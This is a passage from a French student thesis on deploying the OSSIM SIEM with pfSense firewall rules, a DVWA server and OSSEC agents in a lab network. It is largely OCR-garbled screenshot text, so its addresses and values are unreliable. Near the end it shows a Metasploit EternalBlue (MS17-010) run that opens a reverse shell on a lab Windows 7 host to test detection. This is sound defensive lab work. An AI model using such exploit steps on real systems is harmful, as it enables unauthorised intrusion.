la DMZ1. Ainsi, il pourra protéger ces différents réseaux d’attaques éventuelles pouvant survenir.

3.1.2 Tableau du plan d’adressage

Nom Adresse
Réseau LAN 172.16.10.0/24
Réseau DMZ1 172.16.20.0/24
Réseau DMZ2 172.16.30.0/24
LAN-user 172.16.10.2
DMZ-srv-Web 172.16.20.2
Attaquant 172.16.20.9
Server OSSIM 172.16.30.2
LAN (eml) 176.16.10.1/24
DMZ-WEB (em2) 172.16.20.1/24
DMZ-MONIT (em3) | 172.16.30.1/24
Wan (em0) Dhcp

TABLE 3.1 : Tableau des adresses réseau

3.2 Tests de fonctionnement

3.2.1 Installation et configuration de pfsense

Le travail a débuté par I'installation du pare-feu pfsense dans I’architecture réseau. Puis ses fonctionnalités ont
été configurées pour assurer un meilleur trafic réseau. La figure 3.2 montre 1’assignation des interfaces réseaux

de pfsense.
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pfSense 2.7.8-RELEASE amd64 Wed Jun 28 HB3:53:34 UTC 2823
Bootup complete

FreeB5SD/amd64 (pfsense-firewall .home.arpa) (ttyv@)
KVH Guest - Hetgate Device ID: B1d377ef67ddeB83c38ab

xx* HWelcome to pfSense 2.7.B-RELEASE (amdb4) on pfsense-firewall ===

HAN (wan)
LAN (lan) -» eml
Y DMHZ_MEB (optl) -> em2
DHZ_HONIT (opt2) -> em3

-» emB

Logout (S5S5H only)

Assign Interfaces

Set interface(s) IP address
Reset webConfigurator password
Reset to factory defaults
Reboot system

Halt system

Ping host

-> v4/DHCP4:
-» v
-» v
-» wd:

172.
172.
172

)
18)
11)
12)
13)
14)
15)
16)

192.168.187.128/24
16.18.1/24
16.28.1/24
.16.38.1/24

pfTop

Filter Logs

Restart webConfigurator

PHP shell + pfSense tools
Update from console

Enable Secure Shell (sshd)
Restore recent configuration
Restart PHP-FPH

Shell

Enter an option:

FIGURE 3.2 : Assignation des interfaces réseaux de pfsense

L’on a ensuite assigné les interfaces du pare-feu « Pfsense » liées avec les autres réseaux; cependant
I’adresse de I’interface web est 172.16.20.1. Il faut d’abord ouvrir I’interface graphique pour le paramétrage de
ce dernier. L’on ouvre par la suite le navigateur web et I’on saisit I’adresse de I’interface. Apres avoir écrit le
nom d’utilisateur et le mot de passe (admin/pfsense) 1I’on trouve le tableau de bord comme le montre la figure
3.3.

A Non sécurisé
Flisense

1172.16.20.1 as QA 2

ks
&

s,

3]

System - Interfaces - VPN - Status - Diegnostics - Help -

OMMUNITY GOITHIN

Status / Dashboard

System Information

F00

Name pfzense-firawsll.home.arpe a3 WAN 02.168.187.12
User admin@172.16.10.2 (Loca| Database L 72.16.10.1
System KVM Guest o33 DMZ_WEB 72.16.20
Hetgate Device ID: 1d37Tef6TddeB3c3Bab . _ e
BIOS ‘Vendor: innotek GmbH
‘Version: VirtualBox Snort Alerts " ﬁ ﬂ

Release Date: Fri Dec 1 2006

Interface/Time Sre/Det Address Description

Version 2.7.0-RELEASE {amd64]

bwilt on Wed Jun 28 02:533:34 UTC 2023

FIGURE 3.3 : Tableau de bord de pfsense

Afin de faciliter la configuration des listes d’acces et d’éviter la redondance des adresses des interfaces, des

hotes et des ports utilisés, des alias ont été désignés, comme I'indique la figure ci-dessous :
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Firewall / Aliases/ All =@

IP Ports URLs All

I
Firewall Aliases All
Name Values Description Actions

default_conn_ports 80,22 f 'ﬂ-ﬂ
DVWA 172.16.20.2 serveur web vulnérable SO
s TEE
Lan_user 172.16.10.2 Utilisateur Lm
0SSIM 172.16.30.2 SO0
port_navigation 80, 443, 22, 53 http, https,ssh,dns p‘ 'ﬁﬁ
port_syslog 514,1514 syslog, reyslog p‘ ﬁﬁ
p——
port_web 80, 443 http, https LLm

FIGURE 3.4 : Définition des aliases dans pfsense

Nous avons défini quelques regles de filtrage de I’interface WAN pour autoriser le trafic de n’importe quelle

adresse source vers la destination DVWA a travers le port-web (80,443).

Floating WAN LAN DMZ WEB DMZ_MONIT

Rules (Drag to Change Order)

m] States Protocol Source Port Destination Port Gateway Queue Schedule Description Actions
O « 0/0B IPv4TCP * s DVWA port web * none Exttowebserver §, S DO M X
O X 0/20KB IPv4* % ®i % * none 32001

FIGURE 3.5 : Regles de filtrage de I’interface WAN
Ensuite, pour I'interface DMZ-WEB , nous avons fixer des régles pour permettre le trafic de I’adresse

source DMZ-WEB vers I’interface DMZ-Monit par le port-syslog (514 et 1514) et vers I’interface WAN par le
port-navigation (80, 443, 110, 53 et 25).
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Rules (Drag to Change Order)

m) States Protocol Source Port Destination Port Gateway Queue Schedule Description  Actions
O & 3/42354  IPv4d* * LI * * none IS0
MiB OmX
O « 0/0B IPv4 TCP N * DMZ_WEB default_conn_ * none Anti-lockout <%, &°
address ports rule Omx
O « 0/0B IPv4UDP  DMZ WEB *  DMZMONIT  portsysleg * none 420
net net Omx
O « 0/0B IPv4TCP  DMZWEB *  DMZ_MONIT 22 (SSH) * none N
net net OmX
O « 0/0B IPv4 DMZ WEB  *  WAN net port_ * none 420
TCP/UDP  net navigation Omx
O X o/0B IPv4 * * L x ¥ none I 0
Om

FIGURE 3.6 : Regles de filtrage de I’interface DMZ-WEB

Les regles de filtrage de I’interface DMZ-Monit sont les suivantes : Ouvrir le trafic de 1’adresse source
DMZ-Monit vers I’interface WAN a travers le port-syslog (514 et 1514) et vers I'interface DMZ-WEB et la
partie interne INT.

Rules (Drag to Change Order)

(=] States  Protocol Source Port Destination  Port Gateway Queue Schedule Description Actions

O « 0/0B IPv4 DMZ_MONIT ~ *  WAN net port_ * none iS00
TCP/UDP net navigation 'ﬁjx

O « 0/BKB IPva* DMZ_MONIT ~ *  DMZ_WEB  * * none & 2S00
net net ﬁﬁx

O « 0/74  IPva* DMZ_MONIT ~ *  LANnet * * none LS00
KiB net mx

O X 0/52  IPva* * o * £ none 00

KiB 'ﬁﬁ

FIGURE 3.7 : Regles de filtrage de I’interface DMZ-MONIT

Les regles de filtrage de I’interface INT ont été définies pour autoriser le trafic venant de 1’adresse source
INT vers I'interface de DMZ-Monit a travers le port-syslog (514 et 1514) d’une part, et puis vers I'interface
DMZ-WEB par le port-web (80 et 443) par une liaison a distance grace a un poste admin et une machine
distante Administrateur par le port-admin (80, 443, 22, 21, 3389) d’autre part.
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Floating WAMN  LAN

Rules (Drag to Change Order)

2 States

" 0/5.66 MiB

0O & 15/19.26

MiB

O « 0/0B

0 « 0/0B

O « 0/0B

O « 0/0B

0 " 0/0B

Protocol

*

IPva*

IPvE *

IPv4 UDP

IPv4

TCP/UDP

IPv4
TCP/UDP

IPva*

DMZ_WEB

DMZ_MONIT

Source Port Destination

*

LAN
net

LAN
net

LAN
net

LAN
net

LAN
net

* LAN Address

* DMZ_MONIT
net

& DMZ_WEB net

none

Port Gateway Queue Schedule Deseription Actions
443 * * Anti-Lockout Rule o d
80
* % none Default allow LAN to &, y‘
any rule OmX
* * none Default allow LAN &, L?’
IPv6 to any rule OmX
port_syslog * none &; j‘@
Omx
port_web * none &, 1?’
Omx
port_ i none &; y‘
navigation OmX
R . &S0
Omx

FIGURE 3.8 : Regles de filtrage de I’interface LAN

3.2.2 Installation et configuration du serveur web vulnérable DVWA

Dans le cadre dece travail, nous avons installé et configuré le serveur web vulnérable DVWA qui est basé sur

le systeme d’exploitation Linux. Pour activer acces a ce serveur, on

connecte a la page ci-dessous :

e c O 8 172.16.20.2/DVWA/login.php. A3

\

DVWA

[y e———

utilise 1’adresse *172.16.20.2" et on se

FIGURE 3.9 : Page d’accueil de DVWA

A I’ouverture du serveur DVWA apres son installation, on accede a une page qui présente plusieurs attaques

web comme I’indique la figure suivante :
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O & 172.16.20.2/DV

i Welcome to Damn Vulnerable Web Application!

Instructions | Damn Vulnerable Weh Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main
goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web
Setup | Reset DB | developers better understand the processes of securing web applications and to aid both students & teachers to

learn about web application security in a controlled class room environment.

Brute Force The aim of DVWA is to practice some of the most common web vulnerabilities, with various levels of

difficultly, with a simple straightforward interface

Command Injection

CSRF

File Inclusion General Instructions

File Upload

| It is up to the user how they approach DVWA. Either by working through every module at a fixed level, or

selecting any module and working up to reach the highest level they can before moving onto the next one. There

Insecure CAPTCHA | is not a fixed object to complete a module; however users should feel that they have successfully exploited the
|

system as best as they possible could by using that particular vulnerability.
SQL Injection ¥ i Y d - Y

Please note, there are both documented and undocumented vulnerability with this software. This is

SQL Injection (Blind) intentional. You are encouraged to try and discover as many issues as possible.

Weak Session IDs

There is a help button at the bottom of each page, which allows you to view hints & tips for that vulnerability.
XSS (DOM) There are also additional links for further background reading, which relates to that security issue.

XSS (Raflartar)

FIGURE 3.10 : Apercu de I’interface des attaques web de DVWA

3.2.3 Configuration des agents OSSEC
3.2.3.1 Sous Linux

Dans un premier temps, nous nous sommes intéressés a installer et configurer les agents OSSEC pour pouvoir
faciliter les échanges entre le serveur OSSIM et les machines hotes dans la gestion des événements de sécurité.

Elle a suivi les grandes étapes capturées ci-dessous :

1 administrator@administrator-VirtualBox: ~fossec-hids-3.1.0 Q =

OSSEC HIDS v3.1.0 Script d'installation - http://www.ossec.net

Vous étes sur le point d'installer OSSEC HIDS.
Vous devez avoir une compilateur C préinstallé sur votre systéme.

Systéme: Linux administrator-VirtualBox 5.15.0-87-generic

Utilisateur: root
Hote: administrator-virtualBox

-- Appuyez sur Entree pour continuer ou Ctrl-C pour annuler.
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administrator@administrator-Virtual... administrator@administrator-Virtual...

[sudo] Mot de passe de administrator :

AR A AR AT AR AT TR AT AR AT R AT TR AT R AT TR E®

* QSSEC HIDS v3.1.0 Agent manager. i

* The following options are available: *

R A A R A A R A A R A A AR A A AR AR AR AT R AR TR AR LY
(I)mport key from the server (I).
{(Q)uit.

Choose your action: I or Q: I

* Provide the Key generated by the server.

* The best approach is to cut and paste it.

*** 0BS: Do not include spaces or new lines.

Paste it here (or '\q' to quit): MDAyIERteilzcnYtd2ViIDE3MLi4xNi4yMC4yIDhjNZEWMGI
INMRiN2UZOWEYOWMXYzZzViYZzBhNTLiNTASZTY1NZzg5SNDAWMZQ3MTBmMM i JKOTEINDMWZDY 10T I1Y2U=

Agent information:
ID:002
Name:Dmz-srv-web
IP Address:172.16.20.2

Confirm adding it?(y/n): y

L’agent OSSEC est enfin bien installé et configuré ous Linux. Il ne reste qu’a le rechercher sur le serveur
OSSIM pour d’éventuels tests.
3.2.3.2 Sous windows

Dans un second temps, il est important I’instlaller et de le configurer sous windows. La technique differe de
celle pour le faire sous linux. Nous avons donc téléchargé OSSEC agent et I’installation a commencé de la

fagon suivante :
£J OSSEC HIDS Windows Agent v3.7.0 Setup = >

Welcome to OSSEC HIDS Windows
Agent v3.7.0 Setup

This wizard will guide you through the install of OSSEC HIDS.

Click next to continue.

Ainsi, pour que cette machine communique avec le serveur OSSIM en lui envoyant les logs par le parefeu

a travers le port syslog, un code d’authentification est généré comme suit :
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£ 0SSEC Agent Manager b 4
Manage View Help

-0SSECHIDS +3.7.0

Agent: Auth key nat imparted. (0] - 0

Status: Fequire impart of authentication key.
tizzing OS5EC Server IP address.
- Mat Running

DSSEC Server P [17216.30.4

Authentication key:  |WnZDNINIY 1Y 241771 Yig52g==

Save i Refrazh |

|http:/fwww.ossec.net  [Installed on 2023-11-21 18:32:45

3.3 Résultats Obtenus

Avant de terminer ce travail, nous allons montrer quelques constats faits apres les configurations faites. D’abord,
voici présent le tableau de bord de OSSIM.

ELL X AN Bl X

DASHBOARDS ANALYSIS ENVIRONMENT REPORTS CONFIGURATION
OVERVIEW (-]
EXECUTIVE TICKETS SECURITY TAXONOMY VULNERABILITIES LS & ¥
SECURITY EVENTS: TOPS = ? SIEM: TOP 10 EVENT - TOP OTXACTIVITY INYOUR (= ?

ALARMS CATEGORIES ENVIRONMENT
26%
19%

Connect your OTX account to get insight into
emerging threats in your environment.

CONNECT ACCOUNT

No data available yet.

53%

Alert @ System
@ Authentication @ Access
@ Application @ Suspicious
@ Fecon

FIGURE 3.11 : Tableau de bord de OSSIM

Sur cette plateforme, I’administrateur peut ajouter des utilisateurs tout en leur donnant des privileges. On

voit sur cette image la création d’un utilisateur Aymar.
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v
v|
|
]I
|
|
|
|
|
| ; I
[0 GiaGERRSSWORDATRERTLDGIN || O ves @ o |
; |
N © - © - |
FIGURE 3.12 : Ajout d’un utilisateur
Le nouvel utilisateur ajouté est visible comme le montre clairement la figure suivante :
SETTINGS (]
- CURRENT SESSIONS USER ACTIVITY
SHOW [20_w] ENTRIES NEW MODIFY DELETE SELECTED DUPLICATE SELECTED
LOGIN NRAME EMAIL VISIBILITY STATUS LANGUAGE CREATION C
|
user] Aymar iboukountiah229@gmail. com R [English_ v | 2023-11-21 18
admin § 0ssIM ossimtestd@gmail.com 2023-11-21 03

R

*

Dans I’onglet ANALYSIS, les événements analysés sont répertoriés comme suit :
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DASHBOARDS

24

AMALYSIS

[ EVENT NAME

AlienVault HIDS:
System

40
40
$0
$0
$0
4 0
40
40
40
&0
s
40

& M AlienVault HIDS:

AlienVault HIDS:
System

AlienVault HIDS:
System

AlienVault HIDS:
System

AlienVault HIDS:
System

AlienVault HIDS:
System

AlienVault HIDS:
System

AlienVault HIDS:
System

AlienVault HIDS:
System

AlienVauit HIDS:
System

AlienVault HIDS:
System

AlienVault HIDS:
System

Registry Entry Added to the

Registry Entry Added to the

Registry Entry Added to the

Registry Entry Added to the

Registry Entry Added to the

Registry Entry Added to the

Registry Entry Added to the

Registry Entry Added to the

Registry Entry Added to the

Registry Entry Added to the

Registry Entry Added to the

Registry Entry Added to the

Registry Entry Added to the

w DATE GMT+1:00 &

2023-11-

2023-11-

2023-11-

2023-11-

2023-11-

2023-11-

2023-11-

2023-11-

2023-11-

2023-11-

2023-11-

2023-11-

DAL

21

31

21

21

21

21

21

21

21

51

21

29

1

A\ N

&

X

ENVIRONMENT REPORTS CONFIGURATION

SENSOR OTX SOURCE DESTINATION Sl RISK
184207 ®5M A Host17216-10-2 Host-172-16-10-2 (& | EWE o
184207 %5 \A - Host-17216-10-2 Host-172-16-10-2 =2 | EEE S5
184207 5™ \A Host-172-16-10-2 Host-172-16-10-2 22 | NOWER o
184207 5™ NA Host-17216-102 Host-172-16-10-2 OE | oW o
184207 5™ A Host172-16-10-2 Host-172-16-10-2 (e | OWEN o
184207 ®S™ A Host172-16-10-2 Host-172-16-10-2 &2 | EE o5
184207 ®5M A Host17216-10-2 Host-172-16-10-2 (& | EWE o
184206 5™ A Host17216-10-2 Host-172-16-10-2 =2 | EE S5
184206 5™ A Host-172-16-10-2 Host-172-16-10-2 22 | NOWER o
184206 5™ N/A Host-172-16-10-2 Host-172-16-10-2 2 | EEE o
184206 5™ A Host17216-10-2 Host-172-16-10-2 (e | OWEN o
184206 5™ A Host17216-10-2 Host-172-16-10-2 =2 | EEEE o5
tmeamne 0SS nun GaceaTaasans ek 17180 Fim WERES A

FIGURE 3.13 : Analyse des événements sur le réseau

Dans I’onglet ENVIRONMENT>Agents, les agents installés sont visibles ainsi que leurs statuts.

[Search |
D « ASSET +
@ 000 ossim-srv
@ oot Host-172-16-10-2
@ 002 Dmz-srv-web

Lorsque I’administrateur veut plus de détails sur un agent, on obtient le résultat suivant :

IP/CIDR

127.0.01

17216102

17216202

AGENT INFORMATION

¢ CURRENTIP

127.0.01

172.16.10.2

17216202

CURRENT USER

39

b

STATUS

Active/local

Active

Active

FIGURE 3.14 : Statut des agents déployés

<

ADD AGENT

ACTIONS

LOLEEOREOD
COLREEOREETm
COLRFORESTm
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Assels Asset Details ACTIONS ~

Host-172-16-10-2 ASSET LOCATION

172.16.10.2
Windows XP/2000

L 2

Asset Value Device Type Networks Sensors Loading Map #
012345 Unknown Local_172_16_10_0(172.1.. ossim-srv (172.16.30.2)

Model
Unknown

Asset Type
Internal

4K

Vulnerabilities Alarms Events Availability Sernvices Groups

FIGURE 3.15 : Détails sur ’hote 172.16.10.2

Supposons que nous voulions acccéder a la machine windows distante d’adresse ip 172.16.10.2 a partir de
la machine kali linux de I’attaquant d’adresse ip 172.16.20.9. Nous allons utiliser la vulnérabilité eternalblue
(exploit ms17-010) pour porter atteinte a la confidentialité, 1’intégrité et la disponibilité. Nous rappelons que
L’exploit EternalBlue (exploit ms17-010) cible une vulnérabilité dans le protocole de partage de fichiers SMB
(Server Message Block) de Microsoft Windows. Il permet a un attaquant de prendre le contrdle d’un ordinateur
exécutant une version vulnérable de Windows sans nécessiter d’authentification. Cela signifie qu’un attaquant
peut potentiellement exploiter cette faille pour infecter des systemes avec des logiciels malveillants, tels que
des ransomwares ou des logiciels espions, ou pour d’autres activités malveillantes. En lancant Metasploit, on
a:

a

$ sudo msfdb init &6 msfconsole

[sudo] password for aymar:

[+] starting database

[i] The database appears to be already configured, skipping initialization
Metasploit tip: Save the current environment with the save command,

future console restarts will use this environment again

To bold

exploits - 1235 auxiliary - 422 post
1391 payloads - 46 encoders - 11 nops
9 evasion

[Metasploit Documentation: https://docs.metasploit.com/

nsf6 > ||

FIGURE 3.16 : Lancement de metasploit

On commence donc par rechercher 1’exploit ms17-010 en réalisant I’attaque. Une fois que c’est fait, on

peut le remarquer comme sur la figure suivante :
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msf6 exploit( ) > set lhost 172.16.20.9
lhost => 172.16.20.9
msfé exploit( ) > exploit

Started reverse TCP handler on 172.16.20.9: 4444

172.16.10.2:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check

172. HAAT - Host is likely VULNERABLE to M517-818! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
1445 - Scanned 1 of 1 hosts (100% complete)

1445 - The target is vulnerable.

445 - Connecting to target for exploitation.

445 - Connection established for exploitation.

445 - Target 0S selected valid for 0S indicated by SMB reply

445 - CORE raw buffer dump (42 bytes)

445 0x0000000@ 57 69 6e 64 6f 77 73 20 37 20 66 65 73 Windows 7 Profes
445 0x00000010 73 69 6f 6Be 61 6c 20 37 36 30 3 3 65 72 76 sional 7601 Serv
445 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1

445 - Target arch selected valid for arch indicated by DCE/RPC reply

445 - Trying exploit with 12 Groom Allocations.

445 - Sending all but last fragment of exploit packet

445 - Starting non-paged pool grooming

445 - Sending SMBv2 buffers

445 - Closing SMBvl connection creating free hole adjacent to SMBv2 buffer.

445 - Sending final SMBv2 buffers.

445 - Sending last fragment of exploit packet!

445 - Receiving response from exploit packet

445 - ETERNALBLUE overwrite completed successfully (@xCeeeeeeD)

445 - Sending egg to corrupted connection.

445 - Triggering free of corrupted buffer.

1445 == =

1443 =

172.16.10.2:445 - =

Command shell session 2 opened (172.16.20.9:4444 -> 172.16.10.2:52251) at 2024-03-26 15:18:23 +0100

.2

.2

2

22
.28
A
7
.21
7
5
.21
B
Lol
W28
2z
.23
28
A
.H
.2
LT
W21
=2

.

Shell Banner:
Microsoft Windows [version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Tous droits r_serv_s.

C:\Windows\system32>

C:\Windows\system32>]|

FIGURE 3.17 : Acces a la machine windows a distance

Les résultats de la figure ci-dessus montrent que nous avons atteint la machine windows. Nous pouvons par
exemple prendre les informations par rapport a la configuration réseau de cette machine a distance, créer un
fichier et/ou un dossier, se déplacer de répertoire en répertoire, installer des applications malveillantes, éteindre
la machine,etc. On peut observer sur notre systeme centralisé OSSIM si la machine attaquée est réellement
vulnérable. Nous voyons sur la figure ci-dessous que 1’attaque réalisée donne lieu a six vulnérabilités avec des
informations précises. Nous avons la possiblilité de télécharger par la suite les rapports d’activité de chaque
hote pour effectuer des investigations au besoin dans 1’onglet REPORTS. Retrouvons sur la figure suivante un

instantanée de la machine cible windows :
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Chapitre 3. Résultats et discussion 3.3. Résultats Obtenus

n n

é: 6 1 145 6 ENVIRONMENT STATUS
%\‘J @ HIDS
Wulnersbittes Alarms Ewvenis Awsilabibty Zarvices Groups Motes . Automatic Asset Discovery
@ “uln Scan Scheduled
Description
Unkmown See Network Activity
VULNERABILITIES = ALARMS i R GROUPS SUGGESTIONS
Currently no suggestions
10w LMNERABILITIE
SCAN TIME *  ASSET VULNERABILITIES % VULNID % SERWICE %+ SEVERITY ¥
2024.03-26 11:18:41 users{172.16.10.2) e LR 108044 msepe {135/cp) Info
2024-03-26 11:15:41 users{172.16.10.2) Hostname Determination Reporting T0E440 general (tcp) Infor
2024-03-2611:15:41 users{17216.10.2) Services 10330 unknown {5357/cp) Infol
2024-03-26 11:19:41 users{172.16.10.2) SMBICIFS Server Detaction 101 netbios-ssn {13%fcp) Info
2024-03-26 11:19:41 users (172.16.10.2) SMBICIFS Server Detaction 11011 microsoft-ds {445/ wp)  Info
2024-03-26 11:19:41 users {172.16.10.2) SMB MativelLanMan 102011 microsoft-ds (445/cp) Info

FIGURE 3.18 : Informations de machine windows vulnérable apres 1’attaque

Les tests ont montré que notre solution OSSIM a joué le role pour lequel elle a été choisie : elle détecte en
temps réel les différents événements survenant dans le systeme et dispose de multiples fonctions qui prouvent

son efficacité dans la surveillance d’un systeme d’information.

Conclusion

Ce chapitre a permis la création de I’architecture d’un réseau type ainsi que la configuration de quelques so-
lutions basées sur des logiciels open-source pour ainsi faire le déploiement du réseau. Il a montré comment
OSSIM en tant que solution SIEM open-source peut contribuer a la sécurité du systeéme d’information d’une
PME grace aux différents tests effectués.
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Conclusion générale et Perspectives

La mise en ceuvre d’une solution SIEM a I’aide d’outils open-source, en particulier OSSIM, est une démarche
essentielle et complexe dans le contexte actuel de sécurité informatique. Ce mémoire a exploré les aspects clés
de cette mise en ceuvre, offrant des informations précieuses aux professionnels de la sécurité et aux chercheurs.
Nous avons analysé les menaces émergentes, les concepts fondamentaux de SIEM, ainsi que les avantages et
les limites des solutions open-source.

L’étude approfondie d’OSSIM a couvert son déploiement, de 1’analyse des besoins a la configuration tech-
nique, en évaluant son efficacité dans la détection des menaces et la gestion des incidents. En conclusion, ce
mémoire souligne 1’importance de la sécurité informatique et offre un apercu complet de 1’utilisation d’OSSIM
comme solution STEM open-source, espérant ainsi servir de ressource pour renforcer la sécurité des systeémes
d’information.

Dans le prolongement de ce travail, plusieurs perspectives peuvent étre envisagées pour approfondir et
étendre 1’usage des solutions SIEM open-source. Premi¢rement, 1’intégration de I’intelligence artificielle et de
I’apprentissage automatique pourrait améliorer la détection des menaces et la réponse aux incidents. Deuxieme-
ment, I’exploration de la compatibilité et de I'intégration d’OSSIM avec d’autres outils de sécurité émergents
permettrait d’optimiser les capacités de gestion de la sécurité. Enfin, des études de cas supplémentaires et des
implémentations pratiques dans différents contextes organisationnels contribueraient a enrichir la compréhen-

sion et I’efficacité des solutions SIEM open-source dans divers environnements.
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